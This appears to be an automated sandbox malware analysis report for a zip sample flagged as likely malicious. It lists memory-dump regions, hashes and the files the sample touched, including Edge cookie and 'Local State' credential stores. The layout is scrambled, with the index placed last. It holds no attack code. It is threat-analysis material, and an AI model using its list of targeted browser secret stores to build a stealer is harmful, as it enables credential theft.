SHA512	5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4060-228-0x000001D2D6680000-0x000001D2D6842000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5	e4846ff52d12c85344d177dede34cec6
SHA1	5337cb0172306d29daf5747c6dd92c57f9be0096
SHA256	68f2a07678a9141564128b832d3b53a9916c6a005335f8290aa01c15ef91a772
SHA512	a9b5a51cf1136aff771b6512b34ee1b05ecb6c6163ddfcdefdb93189911c5a7d831665e030e91c6a7a7fa9e22c169c964a8dcadb409c6e903b4a88343406d6f7

memory/4060-248-0x000001D2BD900000-0x000001D2BD90E000-memory.dmp

memory/4060-249-0x000001D2BD930000-0x000001D2BD94A000-memory.dmp

memory/4060-250-0x000001D2BD920000-0x000001D2BD92A000-memory.dmp

memory/4060-251-0x000001D2BD950000-0x000001D2BD958000-memory.dmp

memory/4060-252-0x000001D2BD960000-0x000001D2BD968000-memory.dmp

memory/4060-253-0x000001D2D6030000-0x000001D2D6038000-memory.dmp

memory/3724-257-0x0000000000400000-0x000000000048A000-memory.dmp

memory/2964-260-0x0000000000600000-0x000000000068A000-memory.dmp

memory/2972-267-0x0000000004EF0000-0x00000000050B2000-memory.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFFC8.tmp.xml

MD5	e0bb4df9aa9b781603335e74a34a10d3
SHA1	cd8ed398aba66259708e6a25f40c2a5c88aa5c1e
SHA256	3ae9e3844fbd9dd78199fdd1478311576b2b9fe76e88b52ca8351608467cda57
SHA512	eee188b97d66d85768d79a3dcdd0508d06dcedd338f2e6f27c586d4a6a5f51f038eb330dd6a11907800dfb91d30669b7c7a6dd66c114135d92369ca5d020a48c

memory/2972-278-0x00000000050C0000-0x0000000005152000-memory.dmp

memory/2972-268-0x0000000004C20000-0x0000000004C86000-memory.dmp

memory/2972-290-0x0000000005C10000-0x00000000061B4000-memory.dmp

memory/2972-291-0x0000000005750000-0x00000000057EC000-memory.dmp

memory/2972-292-0x00000000064A0000-0x00000000064F0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies

MD5	3ff6590ef4c5a66a6a9671c4c904f2f7
SHA1	b7c80e4adb80be59325ca25c325bf44bafc4bfc7
SHA256	dd485fd716a5f30c032ef7967e43829c36b4589dfcca1f687faea9088bf10823
SHA512	7d334091f3a3d45d32f7743a3d75040c2833573aef4fd6b5b67ce08056af5d3b04a6933bbdc5dc111c4bde46e3d02868f79548f10b27d6803f83413fbc33feaf

memory/2972-295-0x0000000006650000-0x000000000665A000-memory.dmp

C:\Users\Admin\Downloads\Unconfirmed 781119.crdownload

MD5	1c4903abf307ce72b0b599b2d140b447
SHA1	d0098859aaca9415053c73aaaaec4a894d15ddb1
SHA256	2a321104ed48279593f91024a3aad7c9c0ee0bccb892467cf485f934382ce711
SHA512	92af0aa5b708c63d44e7b7664f35f41647bc703c32d74c591dcd0a763add6dad685267c83cb7d92616d49a86d4e74d5e0e9c8c883511f413a0b8bb49fd7a2313

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5	04713234cfa02c69c5b30d3ed453f6d3
SHA1	dddee1a26eabb966fa0e8a6a7e0888500d6659cc
SHA256	d1a7cfe2223374d72f7122ff09385a6907aad831b5e106b4c4960043d704be1e
SHA512	5741390ca8519686978ad806e55e5712971b7e47951ba57bf3d8199aa49ffe04f8c5388dde5dc505036d694d92788b1142958f723dc603f2f810f13f365d3f60

Sample ID	240531-k3k8csda9w
Target	08270f88cc3fd413d6eb29852599e9599362da87b8ba2b29196f3f1f76baf1fc.zip
SHA256	6a88e9ac933db092740cdbfafc59061084cefa0272886332aeef80fcb0ba63a4
Tags	pdf link javascript agilenet execution persistence

Malware Analysis Report

2024-07-28 06:33

Table of Contents

Analysis Overview

Threat Level: Likely malicious

Malicious Activity Summary

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files